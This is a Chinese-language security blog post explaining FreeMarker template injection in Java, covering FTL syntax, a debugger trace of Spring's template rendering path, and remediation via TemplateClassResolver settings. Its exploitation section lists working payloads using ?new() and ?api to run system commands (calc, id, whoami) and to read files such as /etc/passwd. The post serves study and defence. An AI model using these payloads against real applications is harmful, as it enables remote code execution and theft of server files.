Java安全之FreeMarker 模板注入

1.前情提要:

事情的起因在于某次红队中,看到一位大佬利用FreeMarker 模板注入从而达到了一个rce的效果,因为自己对这方面没有了解过,于是乎现在开始恶补一下~

image

2.基本介绍:

FreeMarker 是一款用 Java 编写的模板引擎,主要用于生成文本输出,像 HTML 网页、电子邮件、配置文件等都能生成。它并不依赖于 Servlet 或 Web 应用,既可以在 Web 环境中使用,也能在非 Web 环境下发挥作用。

FreeMarker Template Language也就是FTL是该模板中使用的模板语言,用于定义输出文本的结构和格式。它通过特定的语法标记将静态文本与动态数据结合,最终生成目标文本。

广泛应用于Java应用程序的视图层

3.基础知识:

FreeMarker拥有自己的模板编写规则并使用FTL表示,web.html.ftl就是一个FreeMarker模板文件,该文件有四个核心部分:

  • 文本:固定的内容,会按原样输出
  • 插值:使用${...} 语法来占位,尖括号中的内容在经过计算和替换后才会输出
  • FTL指令:类似于HTML的标签语法,通过<#xxx ... >来实现各种特殊功能,比如:<#list elements as element>实现循环输出
  • 注释:注释中的内容不会输出,和html的注释类似

demo演示

<!DOCTYPE html>
<html>
  <head>
    <title>FreeMark</title>
  </head>
  <body>
    <h1>欢迎来到Zephyr</h1>
    <ul>
      <#-- 循环渲染导航条 -->
      <#list menuItems as item>
        <li><a href="${item.url}">${item.label}</a></li>
      </#list>
    </ul>
    <#-- Zephyr(注释部分,不会被输出)-->
      <footer>
        ${currentYear} FreeMark. All rights reserved.
      </footer>
  </body>
</html>

4.语法知识:

<1>变量插入

使用${}来插入变量或者表达式的值

${Zephyr}

<2>控制结构

使用 <#if><#else><#list>等来控制逻辑流

<#if condition>
    Do something
<#else>
    Do something else
</#if>
//此结构的作用是依据条件表达式condition的结果,来决定执行哪一段代码

<3>变量赋值

<#assign>是用来定义和赋值变量的指令,允许开发人员将一个表达式的结果存储到另一个变量当中去

<#assign greeting = "Hello, world!">
${greeting}

<4>循环遍历

使用<#list>遍历集合

<#list items as item>
${item}
</#list>

<5>宏定义类

使用<#macro>标签定义一个宏

<#macro greet name>
Hello, ${name}!
</#macro>

通过<@macroName>调用它

<@greet "Zephyr" /> 

<!-- 输出: Hello, Zephyr! -->
//greet不是固定的

同样宏不止可以定义一个参数

#定义宏
<#macro userInfo name email>
Name: ${name}, Email: ${email}
</#macro>


<@userInfo "Zephyr" "Zephyr@example.com" />
<!-- 输出: Name: Zephyr, Email: Zephyr@example.com -->

<6>条件判断

FreeMarker提供了条件判断结构,用于根据特定条件执行不同的操作:

<#if age >= 18>
    You are an man.
<#elseif age >= 13>
    You are a teenager.
<#else>
    You are a child
</#if>

<7>循环遍历

借助<#list>指令,能够对集合或数组进行遍历操作。

  1. 遍历列表
<#assign cities = ["北京", "上海", "广州", "深圳"]>
<ol>
<#list cities as city>
    <li>${city}</li>
</#list>
</ol>
  1. 使用索引
    利用?index能够获取当前项的索引,索引是从 0 开始计数的。
<#list cities as city>
    ${city?index + 1}. ${city}
</#list>

<8>包含导入

FreeMarker 支持从别的文件导入模板或者包含代码片段

  1. include 指令
    运用include可以把其他模板包含到当前模板之中
<#include "footer.ftl">
  1. import 指令
    通过import能够引入其他模板里的宏
<#import "utils.ftl" as utils>
<@utils.printTime />

<9>错误处理

FreeMarker 提供了一种灵活的方式来处理错误,即通过??操作符检查变量是否存在。

  1. 检查变量是否存在
<#if email??>
    邮箱地址: ${email}
<#else>
    未设置邮箱地址
</#if>
  1. 默认值
    使用!符号可以为变量提供默认值。
欢迎 ${username!"访客"} 登录系统

<10>组合嵌套

FreeMarker 允许将函数和控制结构嵌套使用,以此来实现更复杂的逻辑和数据展示。

<#assign products = [
    {"name": "手机", "price": 3999, "stock": 10},
    {"name": "电脑", "price": 8999, "stock": 5},
    {"name": "平板", "price": 2999, "stock": 0}
]>

<table>
    <tr>
        <th>商品名称</th>
        <th>价格</th>
        <th>库存状态</th>
    </tr>
<#list products as product>
    <tr>
        <td>${product.name}</td>
        <td>${product.price}元</td>
        <td>
            <#if product.stock > 0>
                <span style="color: green">有货 (${product.stock})</span>
            <#else>
                <span style="color: red">无货</span>
            </#if>
        </td>
    </tr>
</#list>
</table>

<11>内置函数

new

?new内置函数是模板注入中非常重要的一个函数,可以创建任意实现了TemplateModel接口的java对象(并且调用该类的构造方法)

以及触发没有实现templatemodel接口的类的静态初始化块

两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承TemplateModel接口的

freemarker.template.utility.JythonRuntimefreemarker.template.utility.Execute(同前情提要)

API

value?api 提供对value的api(Java api)的访问,可通过getclassloader获取类加载器进而加载恶意类,或者也可以通过getResource来实现任意文件读取

注:该函数只有在api_builtin_enabled为true时才可使用,而该配置在2.3.22版本之后默认为false

 

5.漏洞复现:

image

6.源码分析:

这里分为两部分,一是获取模板,二是解析模板,漏洞成因在解析模板处,所以获取模板的过程我就不详细写了,大家自己跟一下也可以看懂

6.1获取模板

因为在 Spring Boot 应用里,所有 HTTP 请求首先会经过DispatcherServlet进行处理。作为 Spring MVC 框架的核心前端控制器,DispatcherServlet 负责接收请求,并依据请求的路径、方法等信息,把请求分发给对应的处理器(Controller)

org.springframework.web.servlet.DispatcherServlet #doDispatch() –>
org.springframework.web.servlet.DispatcherServlet #processDispatchResult() –>
调用至org.springframework.web.servlet.DispatcherServlet#render()
org.springframework.web.servlet.DispatcherServlet#resolveViewName() –>
org.springframework.web.servlet.view.ContentNegotiatingViewResolver#resolveViewName() –>
org.springframework.web.servlet.view.ContentNegotiatingViewResolver#getCandidateViews() –>
org.springframework.web.servlet.view.AbstractCachingViewResolver#resolveViewName() –>
org.springframework.web.servlet.view.UrlBasedViewResolver#createView() 创建模板 –> super.createView()–>
org.springframework.web.servlet.view.AbstractCachingViewResolver#createView()–>
org.springframework.web.servlet.view.AbstractCachingViewResolver#loadView()–>
{
org.springframework.web.servlet.view.AbstractTemplateViewResolver#buildView()–>(super.buildView())
org.springframework.web.servlet.view.UrlBasedViewResolver#buildView()
}
view.checkResource()->
org.springframework.web.servlet.view.freemarker.FreeMarkerView#checkResource()–>
org.springframework.web.servlet.view.freemarker.FreeMarkerView#getTemplate(url, locale)–>
freemarker.template.Configuration#getTemplate() 调用此类同名方法,跟进this.cache.getTemplate()–>
freemarker.cache.TemplateCache#getTemplate() ,跟进this.getTemplateInternal()–>
freemarker.cache.TemplateCache#getTemplateInternal(),此处进行判断 –>
freemarker.cache.TemplateCache#lookupTemplate() –>
freemarker.cache.TemplateLookupStrategy#lookup() –>
freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy()–>
最终调用this.lookupWithLocalizedThenAcquisitionStrategy()–>
调用this.findTemplateSource(path)获取模板实例

6.2解析模板

咱们回到org.springframework.web.servlet.DispatcherServlet#render()方法中,resolveViewName()加载模板文件后使用view.render()对模板进行解析

image

最终会调用到org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender()中来

image

我们跟到processTemplate方法中去

image

在跟到process中去

image

我们再跟到下一个process方法中去(前面返回了Environment 类,所以后面就调用 Environment#process())

image

这段代码我们好好读一下

public void process() throws TemplateException, IOException {
    // 从ThreadLocal变量中获取当前线程之前保存的环境对象
    Object savedEnv = threadEnv.get();
    // 将当前实例设置到ThreadLocal中,以便在后续处理中使用
    threadEnv.set(this);
    try {
        // 清除之前执行时可能缓存的值,防止使用过期数据
        clearCachedValues();
        try {
            // 执行模板的自动导入和包含操作,准备模板渲染环境
            doAutoImportsAndIncludes(this);
            // 访问模板的根节点,开始执行模板渲染逻辑
            visit(getTemplate().getRootTreeNode());
            // 如果启用了自动刷新,则刷新输出流
            // 确保所有缓冲数据被写入目标设备
            if (getAutoFlush()) {
                out.flush();
            }
        } finally {
            // 再次清除缓存值,帮助垃圾回收器释放内存
            clearCachedValues();
        }
    } finally {
        // 恢复之前保存的环境对象,确保线程局部变量状态的正确性
        threadEnv.set(savedEnv);
    }
}


跟到visit方法中看一下,发现他对ftl文件进行了一次遍历,若是读取到一条freemaker表达式,就回调visit方法去调用accept方法,跟入

image

freemarker.core.Assignment#accept() 判断 namespaceExp 是否为 null,接着判断 this.operatorType 是否等于 65536,跟进 eval() 方法

(我知道这里大家在跟的时候肯定有问题,别急,下面会有答案)

image

然后判断 constantValue 是否为 null,此处 constantValue 为 null,调用 _eval()

image

然后exec也就到了真正能执行代码的时候

这里因为elemet还是<#assign value="freemarker.template.utility.Execute"?new()>,所以还没弹计算器,只要再次遍历html中的ftl语句到后面的${value("Calc")}就成功rce了

⭐注:

这里有人就会说上面我在跟的时候,accept函数并不是你贴的图那样,这里就要提到上面我提到的一句话:

在这里他会一直去遍历你ftl文件中的内容,所以你最初调试跟进去的accept函数是还没有到ftl语句的普通HTML语言,他就不会去调用我所展示的那一串代码,所以你需要多点几次,直到看到element的内容变成了ftl语言,这时候跟进accept就是想要的结果了

7.漏洞利用:

?new()函数

freemarker.template.utility.JythonRuntime:

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("cmd.exe /c calc")</@value>
//原理:通过自定义标签的方式执行Python命令,从而构造远程命令执行

freemarker.template.utility.Execute:

<#assign value="freemarker.template.utility.Execute"?new()>${value("id")}

?api()函数

POC1

<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")> 
<#assign field=clazz?api.getField("GSON")> 
<#assign gson=field?api.get(null)> 
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> 
${ex("open -a Calculator.app"")}

POC2

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}

POC3

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")

POC4

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator.app") }

读取文件

<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

 

8.漏洞修复:

从 FreeMarker 2.3.17 版本开始,官方版本提供了三种不同的TemplateClassResolver实现类,用于控制通过new()函数创建类实例时的安全性:

  1. UNRESTRICTED_RESOLVER:无限制解析器
    • 允许通过ClassUtil.forName(className)反射加载任意 Java 类
    • 存在一定安全风险,可能被用于执行任意代码
  1. SAFER_RESOLVER:安全解析器(推荐生产环境使用)
    • 默认禁止加载以下高危类:
    • freemarker.template.utility.JythonRuntime(Jython 执行引擎)
    • freemarker.template.utility.Execute(系统命令执行器)
    • freemarker.template.utility.ObjectConstructor(任意类构造器)
    • 有效防范常见的代码注入攻击
  1. ALLOWS_NOTHING_RESOLVER:禁用解析器
    • 完全禁止通过new()函数创建任何类实例
    • 适用于对安全性要求极高的场景
  1. 当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false
posted @ 2025-07-23 22:59  Zephyr07  阅读(56)  评论(0)    收藏  举报